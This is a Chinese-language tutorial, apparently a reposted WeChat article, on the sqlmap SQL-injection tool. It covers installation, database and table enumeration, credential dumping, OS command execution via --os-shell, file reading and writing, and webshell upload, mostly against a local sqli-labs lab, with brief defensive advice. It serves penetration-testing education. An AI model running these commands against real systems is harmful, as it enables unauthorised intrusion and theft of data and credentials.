目录:
SQLmap
介绍
SqlMap是Python语言编写的开源的渗透测试工具,它可以自动探测和利用SQL 注入漏洞来接管数据库服务器
支持的数据库:MySQL、Oracle、 Microsoft SQL Server、PostgreSQL、 Microsoft Access、IBM DB2、 SQLite、Firebird、Sybase 和 SAP MaxDB等25种数据库
用途 :注入测试工具、网站入侵工具
项目地址:SQLmap官网:http://sqlmap.org/
Github网 址:https://github.com/sqlmapproject/sqlmap
SQLmap功能:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户的选择,读取哪些数据
5、可执行情况
6、当前数据库用户名称和拥有的权限
7、发现WEB虚拟目录
8、上传getshell
9、绕过防火墙
安装:
windows系统下的安装方法
1、SQLmap是基于python开发的,所以要有python环境。在python官网:https://www.python.org/ 下载与自己操作系统 匹配的环境,并安装。※注意:2.6≤所需版本<3.0
2、将SQLmap从官网上下载下来,并安装到python的运行目录下,在sqlmap的目录中,创建一个cmd的快捷方式,并改名为 sqlmap,双击便可直接运行
3、输入执行sqlmap.py -h 若显示一下界面,说明安装完成
linux系统下的安装方法
在linux终端中输入如下命令,进行安装
1、wget https://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master //下载sqlmap
2、tar zxvf master //解压压缩包
3、cd sqlmapproject-sqlmap-310d79b///进入解压目录
4、python sqlmap.py -h //开始使用
5、kali系统下集成了SQLmap,在终端直接输入sqlmap命令即可使用
SQLMap目录详解
SQLmap的基本使用
SQLMap支持六种注入方式:
基本流程如下
*探测是否有waf
说明:使用 SQLMap 中自带的 WAF识别模块 可以识别出WAF的种类
用法:sqlmap -u “http://xxx.com” --identify-waf --batch
结果:识别出WAF类型为 XXX Web Application Firewall, 如果安装的waf没有什么特征,识别出来的就是:Generic
注意:详细的识别规则在sqlmap的waf目录下,也可以自己编写规则,写好了直接放在waf目录下即可
1、检查是否存在注入点
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1"
参数:-u #目标 URL
2、查看所有数据库
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" --dbs
参数:-u#目标 URL 、 --dbs #所有数据库
3、查看当前使用的数据库
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" --current-db
参数:-u#目标 URL --current-db #查看网站当前的数据库
4、查看表名
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security --tables
参数:-u# 目标 URL -D# 指定数据库 --tables #列出表名
5、列出所有字段名
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
参数:-u# 目标 URL -D# 指定数据库 -T# 指定表名 --columns #列出所有的字段名
6、列出字段内容(数据)
sqlmap -u "http://192.168.198.128/sqli-labs-master/Less-1/?id=1" -D security -T users -C username, password --dump
参数:-u# 目标 URL -D# 指定数据库 -T# 指定表名 -C# 指定字段
--dump #列出字段内容,转存数据(犯法啊)
7、删除记录
(1)sqlmap.py --purge
(2)删除sqlmap的output文件夹
windows路径:c:uersappdatalocalsqlmap
liinux路径:/home/test/sqlmap /root/.sqlmap
SQLmap常用参数
1、输出级别参数(Output verbosity)
参数:-v
使用方法:-v <级别> 如:sqlmap -u [URL] -v 3
参数详情:SQLmap的输出信息按从简到繁,从0-6共分为7个级别,默认的输出级别为1。
2、探测等级参数
参数:--level
使用方法:--level <级别> 如:sqlmap -u [URL] -level 3
3、测试权限
参数:--is-dba
用法:sqlmap -u [URL] --is-dba //测试当前用户是否为管理员
参数:--roles
用法:sqlmap -u [URL] --roles //查看数据库用户具有的权限
参数:--privileges
用法:sqlmap -u [URL] --privileges //测试所有用户的权限
sqlmap -u [URL] --privileges -U sa //测试sa用户的权限
4、测试用户信息
参数:--users //枚举所有用户
参数:--passwords //枚举所有密码
用法:sqlmap -u [URL] --users --passwords
参数:--current-user //显示当前用户
参数:--current-db //显示当前数据库名称
5、执行shell命令
参数:-os-cmd / -os-shell
使用方法:sqlmap -u [URL] -- os-cmd= " net user " //执行net user命令
sqlmap -u [URL] -- os-shell //系统交互式的shell
限制:1、需要有权限使用特定函数 2、数据库为mysql、postgresql和sqlserver
6、POST提交方式
参数:1.-data //通过post方式提交参数
2.-r txt文件 //读取文件中的HTTP数据包内容用来测试POST注入和HTTP Header注入
使用方法:sqlmap -u [URL] --data "POST参数" sqlmap -u [URL] -r ".txt文件"
指定cookie
7、指定user-agent
8、指定referer
9、列举数据库管理系统信息
参数:-b 或 --banner
用法:sqlmap -u [URL] --banner
说明:返回数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息。
10、--tamper参数
SQLMap的SQL语句执行
1、交互式的SQL命令行
参数:--sql-shell
用法:sqlmap -u [URL] --sql-shell
说明:该参数可直接获得交互式的SQL命令shell,我们可以在此直接输入想要执行的SQL语句并实时取得回显,输 入x或者q退出交互式命令行
2、执行指定SQL语句
参数:--sql-query
用法:sqlmap -u [URL] --sql-query=“sql语句” sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1
--sql-query "select user(),version(),database()"
说明:该命令直接执行指定的SQL语句
注意:执行一次都会对网站注入一遍,比--sql-shell效率低
3、执行文件中的SQL语句
参数:--sql-file
用法:sqlmap –u [URL] --sql-file=sql文件
说明:参数可以直接执行SQL文件中的语句。
举例:新建一个SQL文件,如:1.sql
内容为:select version();select @@datadir;
在sqlmap工具中输入 sqlmap -u --sql-file=1.sql
如上,MySQL的版本、MySQL数据库存放的路径都被查询到
SQLMap的文件操作
危害:
如果当前web页面存在SQL注入漏洞,且当前的用户是root权限,且可以进行文件读写操作
我们可以在知道绝对路径的情况下,尝试上传一个一句话木马,并用菜刀连接后,获取到网站的getshell
SQL注入导致的文件读写的防御方法
1 将secure-file-priv的参数在my.ini中配置为 secure-file-priv=null 将会限制mysqld不允许导入导出操作,secure-file-priv的配置,可以通过语句:select @@secure_file_priv 查询
2 在用户输入可控参数时,对敏感语句进行过滤
读取文件
参数:--file-read 用法:sqlmap -u [URL] --file-read “文件绝对路径” 说明:该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件 原理:利用mysql的load_file函数 如:load_file('c:/windows/win.ini') 条件: 文件必须在服务器上 已知绝对路径 具有读文件权限查询语句[select File_priv from mysql.user where user="root" and host="localhost"] 具有特定的函数执行特权,一般要求root 数据库为mysql、postgresql和sqlserver max_allowed_packed//读写文件最大的字节数 |
上传文件
参数:--file-write --file-dest 用法:sqlmap -u [URL] --file-write “写入本地文件的地址” --file-dest “要写入的文件绝对路径” 说明:该命令用于写入本地文件到服务器中,上传的文件可以是文本,也可以是二进制文件 原理:利用mysql的into outfile函数 如:union select 1,2, 'aaa' into outfile 'C:\phpstudy_pro\www\test1.txt' 条件: 文件必须在服务器上 已知绝对路径 有写文件权限 (secure-file-priv是否被禁用,是否有目录权限等等) 必须能绕过单引号过滤 具有特定的函数执行特权,一般要求root 数据库为mysql、postgresql和sqlserver |
实验:读取与写入文件
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习,一如既往的整理,一如即往的分享。
“如侵权请私聊公众号删文”
本文始发于微信公众号(渗透Xiao白帽):渗透测试之SQLmap使用详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论